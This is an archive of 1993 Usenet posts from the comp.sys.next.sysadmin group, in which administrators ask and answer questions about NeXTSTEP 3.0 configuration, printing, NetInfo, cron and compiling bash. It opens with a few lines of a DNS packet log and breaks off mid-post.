2/16-11:16:29-159 udp 130.132.21.139/2615 -> 130.132.1.9/domain 66
2/16-11:16:30-159 udp 130.132.21.139/2615 -> 130.132.1.10/domain 66
2/16-11:16:31-159 udp 130.132.21.139/2615 -> 130.132.1.11/domain 66
2/16-11:16:32-159 udp 130.132.21.139/2615 <- 130.132.1.11/domain 118
From: cew6@po.CWRU.Edu (Carlin E. Wiegner)
Newsgroups: comp.sys.next.sysadmin
Subject: New User Questions....
Date: 16 Feb 1993 22:33:19 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <1lrq3fINNqsd@usenet.INS.CWRU.Edu>
Hi, I just got my NeXT and I have some questions.
1) How do I find out if I have 3.0 extended versus standard.
I got a 400 meg drive and I asked for it but I can't find the
compiler or IB or anything?
2) How do I get Digital Librarian to interface with the
dictionary and man pages?
Thanks for the emailed replies....
CW
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: problem with access denial
Date: 16 Feb 1993 23:07:46 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1lrs42INNf14@tamsun.tamu.edu>
Howdee NeRDs,
I am in deep you-know-what. I have five NeXT computers on a NetInfo
network. One of these computers is acting very strangely. He won't let some
bonafied user accounts access their WordPerfect files, whether new or old.
It is disconcerting, for I have gone all over this system to set
permissions correctly. To read the permissions, whether from root, and
whether from the terminal or NextStep, or whether from the affected
accounts, is to see that all the permissions are in place correctly. We can
go to any of the other four computers on the NetInfo network, and access
the files, regardless of account, just like we're s'posed to be abel to do.
Can somebody point me at something I can turn over, or an intestine to
squiggle around, so I can fix this? Thanks for your attention, and have a
happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
From: cew6@po.CWRU.Edu (Carlin E. Wiegner)
Newsgroups: comp.sys.next.sysadmin
Subject: More user questions....
Date: 16 Feb 1993 23:16:33 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <1lrskiINNhg@usenet.INS.CWRU.Edu>
I have book UNIX System Administration Handbook. Is this a good
book to learn some system admin stuff out of or should I really
get the NeXT administration one. The book is based on BSD.
1) If someone has enough time please help me set up a UUCP connection.
Compensation is available.
2) Two easy ones for you guys....What do Host Manager and NetInfo
Manager do?
please email all replies....thanks...
CW
Newsgroups: comp.sys.next.sysadmin
From: kluge@avalon.physik.unizh.ch (kluge daniel)
Subject: Re: CSLIP vs. SLIP....
Message-ID: <1993Feb16.234017.5690@ifi.unizh.ch>
Sender: news@ifi.unizh.ch (USENET News Admin)
Organization: University of Zurich, Department of Computer Science
References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu>
Date: Tue, 16 Feb 1993 23:40:17 GMT
cew6@po.CWRU.Edu (Carlin E. Wiegner) writes:
:
: Is there really a difference between CSLIP and SLIP in terms of
: speed. I can get Marble's product with CSLIP for $125 but on the
: other hand I can pay nothing and get SLIP for free over the internet.
: Please email opinions.
: CW
The difference between the two is, that CSLIP uses a compression scheme,
which is able to compress a complete TCP/IP Header to about 3 Bytes.
On the other side, SLIP just sends a control-character at the beginning,
and one at the end.
As with SLIP, the source & docu on CSLIP and 'VJ-Header compression' are
public domain, I can't remember neither the Site, nor the RFC Number,
please contact me if interested (compiling the source is a rather
difficult job)
- daniel
--
Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich
E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome)
study-related stuff : dankluge@iiic.ethz.ch
DECnet : EZINFO::CLUESCH
Newsgroups: comp.sys.next.sysadmin
From: chuston@nugget.rmNUG.ORG (Chris Huston)
Subject: NeXT to SYSV printing
Message-ID: <1993Feb17.010316.18605@nugget.rmNUG.ORG>
Organization: Rocky Mountain NeXT Users' Group
Date: Wed, 17 Feb 1993 01:03:16 GMT
Hi,
I've got an HP9000 with an HP LaserJet IIIsi attached. The IIIsi is equiped with postscript.
Has anyone successfully configured a NeXT to SYS V printing system that switches the printers system lanuage?
Thanks,
Chris
Newsgroups: comp.sys.next.sysadmin
Subject: Questions about floppies, Netinfo under 3.0
Message-ID: <93047.204911PVJQC@CUNYVM.BITNET>
From: <PVJQC@CUNYVM.BITNET>
Date: Tuesday, 16 Feb 1993 20:49:11 EST
Organization: City University of New York/ University Computer Center
Hello,
I have too many questions which I hope to get answers to.
1. Interchange of 3.5" floppies between NeXTs and Suns?? I could
not use a NeXT formatted (unix format) HD floppy on Sun and viceversa.
Is it supposed to work?? The only I could interchange data using floppies
was to format disks in DOS format.
2. I am trying to export a NeXT_Printer to a bunch of other NeXTs and
Suns. All the NeXTs are currently configured as standalones under 3.0.
I tried to configure the NeXT with printer as a netinfo server but I
could not do it. Rather, I am not sure how to do it.
Is it necessary to have a netinfo server running before one can export the
printer?
I have configured a netinfo network under 2.0 but could not do the same
for machines running 3.0.
If these questions were answered and are part of FAQ, my appologies.
Thank you very much.
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* COMPUTER SCIENCE DEPARTMENT *
* CITY UNIVERSITY OF NEW YORK. *
* INTERNET ADDRESS: PVJQC@CUNYVM.CUNY.EDU, *
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Newsgroups: comp.sys.next.sysadmin
From: root@hi_presure_lab.gp.uwo.ca (Operator)
Subject: Bash1.12 on 3.0
Organization: University of Western Ontario
Date: Wed, 17 Feb 1993 02:39:14 GMT
Message-ID: <1993Feb17.023914.6697@julian.uwo.ca>
Sender: news@julian.uwo.ca (USENET News System)
When compiling bash1.12 I get the following error
cc -g -L./lib/readline/ -L./lib/glob/ -o bash shell.o y.tab.o
general.o make_cmd.o print_cmd.o dispose_cmd.o execute_cmd.o
variables.o copy_cmd.o error.o expr.o flags.o jobs.o subst.o hash.o
mailcheck.o test.o trap.o alias.o braces.o unwind_prot.o
version.o bashline.o builtins/libbuiltins.a -lreadline -ltermcap -lglob
/bin/ld: Undefined symbols:
_ulimit
*** Exit 1
Stop.
*** Exit 1
Stop.
Any quick solutions to this problem?
Peter Lenson
From: mkg@stealth.plk.af.mil (Michael K. Gleicher)
Newsgroups: comp.sys.next.sysadmin
Subject: Need to get netinfo entries to recreate Next 400 dpi Level II local printer
Date: 12 Feb 1993 17:20:12 GMT
Organization: Air Force Phillips Lab.
Message-ID: <1lgm8d$el9@fg1.plk.af.mil>
While using PrintManager under NS 3.0, I inadvertently
managed to delete the entry for Local_Printer - after
trying to update the entry and getting an the message
"NetInfo problem writing 'Local_Printer' on local host",
the netinfo entry for Local_Printer disappeared after
quitting PrintManager.
I do not have the 3.0 user manual, which may contain the
information required to recreate the netinfo entry for
a Next 400 dpi Level II Printer device, and would be
grateful if someone would email a list of the
subdirectories and properties/values that I need in order
to recreate the entry.
Thanks for your help.
---
Mike Gleicher USAF Phillips Laboratory
u7142@sn2011.plk.af.mil Kirtland AFB, Alb. NM 87117-6008
(505) 846-4176
Newsgroups: comp.sys.next.sysadmin
From: outland!jmast@ms.uky.edu (John A. Mastrolia)
Subject: Need Help with Sendmail
Message-ID: <C2Kqw0.Ao@outland.uucp>
Sender: jmast@outland.uucp (John A. Mastrolia)
Organization: Kentucky NeXT Users Group (KYNUG)
Date: Wed, 17 Feb 1993 03:55:11 GMT
I need a source for a new sendmail file for uucp mail. I'm having some trouble
with my current file (as you may see in the header of this message). Suddenly
the hostnamd is local host eventhough my "hostname" command returns the correct
host information. The /etc/hostconfig appears to be just fine as well. Any
mail guru's out there ... I need some help.
Please send mail to this address:
outland!jmast@s.ms.uky.edu
Thanks in advance.
If at all possible, you can send the file NeXT Mail to this address with any
additional instructions.
--
-------------------
John A. Mastrolia (Politically, Fashionably, and Aerodynamically Incorrect)
outland!jmast@ms.uky.edu
Newsgroups: comp.sys.next.sysadmin
From: outland!jmast@ms.uky.edu (John A. Mastrolia)
Subject: Follow up: Screen Dimmer
Message-ID: <C2LCpx.to@outland.uucp>
Sender: jmast@outland.uucp (John A. Mastrolia)
Organization: Kentucky NeXT Users Group (KYNUG)
Date: Wed, 17 Feb 1993 11:46:45 GMT
Thanks to all who replied regarding my questions on login screen dimmers. A
few asked for the same from me, so here is what was suggested. First, log in
as root, select preferences (Screen), and then screen background color (Color
well). Select black for the screen background. From this point forward black
will be the default background for the login window.
Second, there is a public domain program called Dimmer out in the archives.
Pick it up from sonata.cc.purdue.edu and follow the simple installion
instructions. It's called dimmer.tar. Another called adim was recommended by
one other user.
Third set your login window to move using the dwrite commands outlined in the
latest FAQ bulletin.
Thanks to all who responded. I had the login window moving, but was stumped on
the screen dimming (outside of the preferences available).
--
John A. Mastrolia (Politically, Fashionably, and Aerodynamically Incorrect)
outland!jmast@ms.uky.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: aherskow@alleg.edu
Subject: Webster Frames Default Problem
Message-ID: <1993Feb17.144907.27403@pellns.alleg.edu>
Sender: news@pellns.alleg.edu
Organization: Allegheny College
Date: Wed, 17 Feb 1993 14:49:07 GMT
Recenlty we have been having problems with the Websters Frames default
getting corrupted somehow. When you run Websters, the menu appears, but
the window just appears as a small vertical black line in the lower left
corner of the screen. If you quit Wesbsters, do a "dremove Webster
Frames" and restart Websters, it works correctly. I removed all of our
users Webster Frames defaults last week, but already the problem is
surfacing again.
Has anyone seen this before, or have any idea what could be causing it?
Thanks in advance for any help,
Aaron
--
Aaron Herskowitz
Systems Manager, Technical and Network Services
Allegheny College, Meadville, Pennsylvania
[aherskow@alleg.edu NeXTmail Welcomed]
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Tecor ???? (a hard disk company)
Date: 17 Feb 1993 19:55:16 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1lu574$nv@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I called Tecor today with a question and I was told "call back next week
because we are going through a reorganization". What the heck is this? Is it
what I think it is? I hope not because I bought a hard disk from them a few
months ago and it's warranted (by HP too, I guess) for 5 yrs. Any ideas?
Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin
From: buck@siswat.hou.tx.us (Lester Buck)
Subject: Help - losing print requests, need .rhosts magic
Message-ID: <1993Feb17.043609.1369@siswat.hou.tx.us>
Organization: Photon Graphics
Date: Wed, 17 Feb 1993 04:36:09 GMT
Our lab has a lonely, underutilized NeXT in a mixture of RS/6000s and
Suns. We have an original cube with the original NeXT software release.
One major use of the NeXT system is as a PostScript print server,
basically through "rsh lpr". I have two irritating problems with this
system and I would appreciate it if anyone could help. I have read the
FAQ list and couldn't find anything on these topics.
1. If the NeXT runs out of paper, a window pops up on the console.
If the printer is not fed in some period on the order of an hour,
the print manager dumps the queue. This is, of course, extremely
objectionable when being used as a print server! Is there some
way to force the print manager to wait forever for more paper,
and never delete jobs?
2. At some point in the past, I was able to configure the .rhosts
files to allow easy rlogins within our lab. Unfortunately,
I forgot what I changed and I cannot add anymore machines
to the .rhosts file. Or, rather, I can add all the machines
I want, but the NeXT ignores the entries. Searching for .rhosts
in digital librarian reveals little, and the niload/nidump
utilities do not seem to store any .rhosts information. What
is the trick to getting .rhosts changes recognized by the NeXT?
Thanks alot!
--
A. Lester Buck buck@siswat.hou.tx.us ...!uhnix1!siswat!buck
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson)
Newsgroups: comp.sys.next.sysadmin
Subject: NS 3.0 bug? -- /etc/mtab permission changed
Date: 17 Feb 1993 20:26:08 GMT
Organization: Computer Science Department at Rose-Hulman
Message-ID: <1lu710INNmjf@master.cs.rose-hulman.edu>
Here at Rose-Hulman we've notice a problem that has been occuring
while using NeXTSTEP 3.0 machines. It appears that if you are using a DOS
floppy the permissions on /etc/mtab will occasionally get changed to 660.
This prevents commands such as 'df' from working for general users.
Has anyone else noticed this problem?
--
-Randy Nelson
Workstation Support Manager
Rose-Hulman Institute of Technology
Email: Randy.Nelson@Rose-Hulman.Edu
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: problem with access denial
Date: 17 Feb 1993 15:39:58 GMT
Organization: University of Houston
Message-ID: <1ltm8eINNbut@menudo.uh.edu>
References: <1lrs42INNf14@tamsun.tamu.edu>
In article <1lrs42INNf14@tamsun.tamu.edu> rse8135@dewie.tamu.edu (R.S.
Etheredge) writes:
#Howdee NeRDs,
#I am in deep you-know-what. I have five NeXT computers on a NetInfo
#network. One of these computers is acting very strangely. He won't let some
#bonafied user accounts access their WordPerfect files, whether new or old.
#It is disconcerting, for I have gone all over this system to set
#permissions correctly. To read the permissions, whether from root, and
#whether from the terminal or NextStep, or whether from the affected
#accounts, is to see that all the permissions are in place correctly. We can
#go to any of the other four computers on the NetInfo network, and access
#the files, regardless of account, just like we're s'posed to be abel to do.
#Can somebody point me at something I can turn over, or an intestine to
#squiggle around, so I can fix this? Thanks for your attention, and have a
#happy day...
#Rusty Etheredge
#rse8135@dewie.tamu.edu
Are thses user files located on an NFS mounted disk? If so, then check the
exports in /etc/exports (NS2.x) or with nidump exports /yourserverdomainhere
to see if that client can mount the directory properly. If you have some
other arrangement, then please elaborate.
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Bash1.12 on 3.0
In-Reply-To: root@hi_presure_lab.gp.uwo.ca's message of Wed, 17 Feb 1993 02:39:14 GMT
To: root@hi_presure_lab.gp.uwo.ca (Operator)
Message-ID: <CEDMAN.93Feb17084437@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Feb17.023914.6697@julian.uwo.ca>
Date: Wed, 17 Feb 1993 12:44:37 GMT
In article <1993Feb17.023914.6697@julian.uwo.ca> root@hi_presure_lab.gp.uwo.ca (Operator) writes:
When compiling bash1.12 I get the following error
cc -g -L./lib/readline/ -L./lib/glob/ -o bash shell.o y.tab.o
general.o make_cmd.o print_cmd.o dispose_cmd.o execute_cmd.o
variables.o copy_cmd.o error.o expr.o flags.o jobs.o subst.o hash.o
mailcheck.o test.o trap.o alias.o braces.o unwind_prot.o
version.o bashline.o builtins/libbuiltins.a -lreadline -ltermcap -lglob
/bin/ld: Undefined symbols:
_ulimit
*** Exit 1
Stop.
*** Exit 1
Stop.
Any quick solutions to this problem?
Put '#define HAVE_RESOURCE' somewhere between '#if defined(NeXT)' and the following '#endif' in machines.h.
Carl Edman
PS: Zsh is still better than Bash ! :-)
From: pyrros@ulysses.att.com (Christos T. Pyrros)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Perl 4.035 for NeXT?
Message-ID: <1993Feb17.190253.10550@ulysses.att.com>
Date: 17 Feb 93 19:02:53 GMT
Organization: AT&T Bell Laboratories, Murray Hill
Has anyone compiled Perl 4.035 (or later) for the NeXT? If so, could you
please post it somewhere?
Thank you,
Chris
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: More user questions....
Date: 17 Feb 1993 15:50:18 GMT
Organization: University of Houston
Message-ID: <1ltmrqINNcsp@menudo.uh.edu>
References: <1lrskiINNhg@usenet.INS.CWRU.Edu>
In article <1lrskiINNhg@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E.
Wiegner) writes:
#
#2) Two easy ones for you guys....What do Host Manager and NetInfo
#Manager do?
#
HostManager.app allows for painless configuration of clients in a cluster.
One machine will generally be the NetInfo "Master" (like NIS master) and the
clients will get all their network information from this master.
Information such as hosts (/etc/hosts), users/passwords (/etc/passwd), ntp
service, printers (/etc/printcap), etc. Netinfo is basically YP/NIS in a
database format. All the flatfiles (/etc/whatever) were moved into NetInfo
for easier management.
NetInfoManager.app is a powerful app that allows almost direct access to the
NetInfo database via the NeXTSTEP interface. You can also access NetInfo
with niutil, nidump, niload, etc... Anyway, NetInfoManager can be a
dangerous tool and you can easily hose your database if you manage to play
with the wrong property.
The other NetInfo utilities have specializes uses, while NetInfoManager is a
general access tool.
I suggest that you examine chapter 3: NetInfo Networking in the NeXTSTEP
Network and System Administration book (NS 3.0) or look in
/NextLibrary/Documentation/NextAdmin/03_SetUpNet for more information.
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: matt%mattcube@concert.net (Matthew M. Stecker)
Subject: 3.0 OD
Message-ID: <1993Feb17.233824.362@mattcube>
Sender: matt@mattcube
Organization: UNC School of Law, CC for NeXT Computer, Inc.
Date: Wed, 17 Feb 1993 23:38:24 GMT
Has anyone made a 3.0 OD?
I ran BuildDisk under 3.0 (from my internal drive), and it seemed to know about
OD's just fine. The build completed succesfully.
I then tried to boot with 'bod', but it gets only as far as "starting RPC and
network daemons", then hangs.
An interesting piece of evidence: When I do "bod -s", a message pops up
telling me that I've just booted from a CD-ROM drive, and gives me some tips
for working from a R/O file system. Sure enough, I can't write anything. My
CD-ROM drive is not even around. The "lock" button on the OD is not locked.
Anyone had better luck at this? I'm sort of desparate.
Matthew Stecker
--
matt stecker | This is my NeXT Computer
NeXT Campus Consultant, | There are many like it,
UNC School of Law | but this one is mine.
Newsgroups: comp.sys.next.sysadmin
From: Michael_Pizolato@afs.com (Michael Pizolato)
Subject: Netgroups
Message-ID: <1993Feb17.220123.973@afs.com>
Sender: michael@afs.com
Date: Wed, 17 Feb 1993 22:01:23 GMT
Where are netgroups stored in the netinfo database? I used
HostManager to place a number of our machines in a netgroup, and the
definitions appeared in the "machines" directory entries for the
individual machines. Then, I set root access in NFSManager on one of
the machines to the netgroup instead of a list of the individual
machines (the docs say you can do this). When I tried to save the new
export definition I got a warning that the netgroup name was an
unrecognized _host_ name. The only reference I could find for
creating netgroups in netinfo was to add them to individual machines
in HostManager. There doesn't appear to be anything about creating
the netgroup itself in a separate operation.
Any help will be greatly appreciated.
Thanx,
Michael
--
Michael_Pizolato@afs.com
~18 kyu
Q16
NeXTMail appreciated
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: aherskow@alleg.edu
Subject: SUMMARY: Webster Frames Default Problem
Message-ID: <1993Feb18.142436.23142@pellns.alleg.edu>
Sender: news@pellns.alleg.edu
Organization: Allegheny College
References: <1993Feb17.144907.27403@pellns.alleg.edu>
Date: Thu, 18 Feb 1993 14:24:36 GMT
My original posting is at the end of this message.
Thanks to all those that responded. What we determined was if you run
Websters on both 2.x and 3.0, you will have this problem. If you run
Websters on a 2.x machine, your Frames default looks like this:
Webster Frames 15,100,515,345,2,71,267
Then, if you run it on a 3.0 machine, it "upgrades" the Frames default to:
Webster Frames "164 125 536 391 "
Now, the problem arises when you go back to 2.x and run Websters.
Websters doesn't understand the 3.0 format and resets puts garbage in it.
Webster Frames 80,0,0,0,2,1,42
I am not sure what each individual integer stands for, but you can see the
problem. Note that these defaults are only saved when you quit Websters.
The only fix we know is to do a "dremove Webster Frames". If anyone else
comes up with a better fix, please let me know.
--
Aaron Herskowitz
Systems Manager, Technical and Network Services
Allegheny College, Meadville, Pennsylvania
[aherskow@alleg.edu NeXTmail Welcomed]
My original posting for anyone that is interested:
> Recenlty we have been having problems with the Websters Frames default
> getting corrupted somehow. When you run Websters, the menu appears, but
> the window just appears as a small vertical black line in the lower left
> corner of the screen. If you quit Wesbsters, do a "dremove Webster
> Frames" and restart Websters, it works correctly. I removed all of our
> users Webster Frames defaults last week, but already the problem is
> surfacing again.
>
> Has anyone seen this before, or have any idea what could be causing it?
>
Newsgroups: comp.sys.next.sysadmin
From: blommer@hertz.eecs.umich.edu (Michael Alan Blommer)
Subject: problem with uids
Message-ID: <1993Feb18.163828.10408@zip.eecs.umich.edu>
Keywords: uid
Sender: news@zip.eecs.umich.edu (Mr. News)
Organization: University of Michigan EECS Dept., Ann Arbor, MI
Date: Thu, 18 Feb 1993 16:38:28 GMT
I've experienced the following problem when adding a new user to our network:
When the uid is larger than about 32000, all of the files and directories that
should be owned by the user show up as being owned by a NEGATIVE uid. For
example, if I create
Username: temp
User ID: 34170
the home directory for temp shows that it is owned by -31366, not temp or
34170. However, if I change the uid to 3417, everything is fine.
Has anyone experienced this? Is there a fix? I haven't seen any documentation
on this.
Thanks,
Mike
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS 3.0 bug? -- /etc/mtab permission changed
Date: 18 Feb 1993 17:49:43 GMT
Organization: Computer Science Department at Rose-Hulman
Message-ID: <1m0i7nINNrdu@master.cs.rose-hulman.edu>
References: <1lu710INNmjf@master.cs.rose-hulman.edu>
In article <1lu710INNmjf@master.cs.rose-hulman.edu>
nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) writes:
>
> Here at Rose-Hulman we've notice a problem that has been occuring
> while using NeXTSTEP 3.0 machines. It appears that if you are using a
DOS
> floppy the permissions on /etc/mtab will occasionally get changed to
660.
> This prevents commands such as 'df' from working for general users.
>
> Has anyone else noticed this problem?
>
>
> --
> -Randy Nelson
> Workstation Support Manager
> Rose-Hulman Institute of Technology
> Email: Randy.Nelson@Rose-Hulman.Edu
>
I just heard from NeXT Tech Supp. Apparently this is a known bug under
NeXTSTEP 3.0.
--
-Randy Nelson
Workstation Support Manager
Rose-Hulman Institute of Technology
Email: Randy.Nelson@Rose-Hulman.Edu
Newsgroups: comp.sys.next.sysadmin
From: kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer)
Subject: crontab and cron problems?
Sender: news@yuma.ACNS.ColoState.EDU (News Account)
Message-ID: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU>
Date: Thu, 18 Feb 1993 17:46:17 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Keywords: crontab cron
i execute about 9 of my own scripts from cron, the
entries, of course, being in /etc/crontab.
the latest 5 i added are not being run, i have noticed.
i can run them myself from the command line so they are
not erroring out. i cannot find any messages to why they
are not run.
anyone have a clue? i'd appreciate any help. thanks!
kelley wittmeyer
dept of atmospheric science
colorado state university
Newsgroups: comp.sys.next.sysadmin
From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: Re: crontab and cron problems?
Message-ID: <1993Feb18.143735.5628@news.cs.indiana.edu>
Keywords: crontab cron
Organization: Objectario
References: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU>
Date: Thu, 18 Feb 1993 14:37:25 -0500
A couple of possibilities why crontab jobs aren't executing...
PATH problems. Jobs executed from /etc/crontab have their $PATH
set to /bin:/usr/bin - so if you don't you use a full pathname in
the crontab, or you don't reset the pathname in a shell script,
your program won't see things in /usr/ucb, /usr/local/bin, or other
various places that will work when you run from the command line.
I'd use a full pathname in the crontab, like this
00 * * * * root /usr/ucb/foobar
and if I was trying to execute a /bin/sh script from within cron, I would
make sure that the script contained a line like this
PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin export PATH
Syntax problems. Cron is very picky about the format of the command line
in /etc/crontab, and will silently not do anything if it sees a line
it doesn't like. Many times I've done something like this
00,15,30,45 * * * root /usr/local/bin/do-something
and scratched my head as to why nothing was happening. The answer in
this case is that there aren't enough fields. What I meant to type was ...
00,15,30,45 * * * * root /usr/local/bin/do-something
Hope this helps,
Steve
uunet.ca!objectar!shayman
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From: matt%mattcube@concert.net (Matthew M. Stecker)
Subject: Mac Floppy Problem.
Message-ID: <1993Feb18.201005.458@mattcube>
Sender: matt@mattcube
Organization: UNC School of Law, CC for NeXT Computer, Inc.
Date: Thu, 18 Feb 1993 20:10:05 GMT
Help !!
I'm running 3.0 on 2 machines. One is a NSC 16/400.
The other is a '040 cube, with a CubeFloppy 2.9 External floppy drive.
My problem is that both machines seem to have forgotten about Macintosh Disks.
I was using MAC disks on both machines with no problem, and now, I'm out of
luck.
When I put in a blank "HD", disk and get to the format panel, I can only chose
between NeXT and DOS formatting, no Mac.
When I put in a HD macintosh disk (just written on my mac), it comes up as
unreadable, and asks me if I want to format (in Dos or NeXT format only, of
course. . . ).
Clues I have so far:
What I can't figure out is why both machines are doing this. The NSC was built
from the Cube over the net.
I changed the permissions on /etc/mtab by hand in the rc.local file, because
inserting DOS floppies was changing them around so as to make my
/usr/lib/newsbin/expire/doexpire script not work. Go figure.
I also see a white bar, about .5" wide running horizontally through the center
of the Recycler Icon. Go figure.
ANY help would be appreciated. I really need to read some mac disks.
Matthew Stecker
--
matt stecker | This is my NeXT Computer
NeXT Campus Consultant, | There are many like it,
UNC School of Law | but this one is mine.
From: bryce_jasmer@next.com (Bryce Jasmer)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: NEW PRODUCT: Lighthouse Design Ships Diagram! 2
Message-ID: <6830@rosie.NeXT.COM>
Date: 18 Feb 93 20:12:06 GMT
References: <1993Feb6.221749.928@cubetech.com>
Sender: news@NeXT.COM
Followup-To: comp.sys.next.software
Wiley Hodges writes
>
>Lighthouse Design Ships Diagram! 2, Information Graphics for NeXTSTEP
>
>- Documented Text File Format (NEW! in 2.0)
> Allows technical users to access drawing data through custom
> applications, scripts, etc.
This is a really killer feature of Diagram that I have been playing around
with. We use Cisco routers for out networking and often make changes in our
network making it hard to keep the router documentation up to date.
Using the new version of Diagram!, SNMP, and Perl, I am able to query what
interfaces are on a router, what subnets are on those interfaces, and
generate a small diagram of what is on that router. (Note, this does NOT
generate a big network map, this might happen in the future, but the stuff I
have now doesn't do that.)
My perl scripts aren't quite done yet and have been put on the back burner
for a couple of weeks, but if anyone wants to see them when they are
workable, send me some mail and I'll send something back when I'm ready. If
you want to help out and possibly enhance the scripts, let me know.
The requirements are that you have Cisco routers running SNMP (actually, I
think other routers running SNMP might also work but I don't have any to test
on.) You also need to have perl installed and of course you have to have
Diagram!2 which of course means you must be running NeXTSTEP Release 3.
Thanks,
Bryce Jasmer
Network Administrator
NeXT Computer, Inc.
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Help not implemented in any Apps?
Message-ID: <C2nwp3.C7w@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Thu, 18 Feb 1993 20:53:25 GMT
I don't know why this is. I've upgraded several machines to 3.0 from
2.1. None of them have the new fancy-dancy help that is suppose to be
great about 3.0. When I go to Info/Help in Workspace or Mail.crap, I
get a panel which reads, "This application doesn not implement
NextStep Help". However, I know people that have 3.0 NextStep help in
both of the afore mentioned apps.
Has anyone else seen this?
-rob
---
Rob Francis Unix Systems Specialist, Indiana University
francisr@indiana.edu (812)855-0327
From: cartley@dix.Mines.Colorado.EDU (Craig Artley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netgroups
Message-ID: <1993Feb18.201608.21739@slate.mines.colorado.edu>
Date: 18 Feb 93 20:16:08 GMT
References: <1993Feb17.220123.973@afs.com>
Sender: news@slate.mines.colorado.edu
Organization: Colorado School of Mines
In article <1993Feb17.220123.973@afs.com> Michael_Pizolato@afs.com
(Michael Pizolato) writes:
> individual machines. Then, I set root access in NFSManager on one of
> the machines to the netgroup instead of a list of the individual
> machines (the docs say you can do this).
Do they? I tried to do this also, but I determined that you were only
allowed to set root access by explicit hostname, not netgroup. Regular
access can be specified by netgroup, though.
--
Craig Artley cartley@mines.colorado.edu (303) 273-3479
Geophysics Dept., Colorado School of Mines, Golden, CO 80401
From: tye@elvis.mit.edu (Tye Brady)
Newsgroups: comp.sys.next.sysadmin
Subject: loginwindow port error
Date: 18 Feb 1993 23:10:17 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1m150pINNobh@senator-bedfellow.MIT.EDU>
Keywords: login,admin,3.0
After rebooting the computer does not invoke the WindowServer.
I see this in /usr/adm/messages
loginwindow[185]: loginwindow: could not find WindowServer port!
I am running 3.0 and get to the console by messing with /etc/ttys but then
I lose my printer. I can also get to it by booting single user or just by
rsh'elling over to it once the boot process seems complete. Problem then
is I can't su as root, when before I could. Seems like all of netinfo is
somehow goofed.
puzzled,
tye
Newsgroups: comp.sys.next.sysadmin
From: sherlock@holmes.bsd.uchicago.edu (John R. Avery)
Subject: cursor-blink-rate
Message-ID: <1993Feb18.194204.26980@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
Date: Thu, 18 Feb 1993 19:42:04 GMT
I want to know how, if possible, to change the
cursor-blink-rate on a NeXTstation (Turbo non-color, in case it
matters). Specifically, I'm hoping to make it faster.
Please help.
Thanks.
--Sherlock
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Reboot after a crash? How?
Message-ID: <C2oEx3.HIF@ux1.cso.uiuc.edu>
Keywords: reboot crash nextstep 2.2
Organization: University of Illinois at Urbana
References: <C2K0Fw.LAH@news.cis.umn.edu>
Date: Fri, 19 Feb 1993 03:26:48 GMT
lindner@danzig.micro.umn.edu (Paul Lindner) writes:
>We have some NeXTstations that get the crap beaten out of them network
>wise... Eventually they run out of mbufs or the swapfile goes outta
>control.
>The result is a crash. Unfortunately NeXTstep doesn't automatically
>reboot. This requires human intervention.. (Nothing like getting
>beeped on valentines day during dinner, so romantic :-)
I don't know what you mean by get the crap beaten out of them, but
